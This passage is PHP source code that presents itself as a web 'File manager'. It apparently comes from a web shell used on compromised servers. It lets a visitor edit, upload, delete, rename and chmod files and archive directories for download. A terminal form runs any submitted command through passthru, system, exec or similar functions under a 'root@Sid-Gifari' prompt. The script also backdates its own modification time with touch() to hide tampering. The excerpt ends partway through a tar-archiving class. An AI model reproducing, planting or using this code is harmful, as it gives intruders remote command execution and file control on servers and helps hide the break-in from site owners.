    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
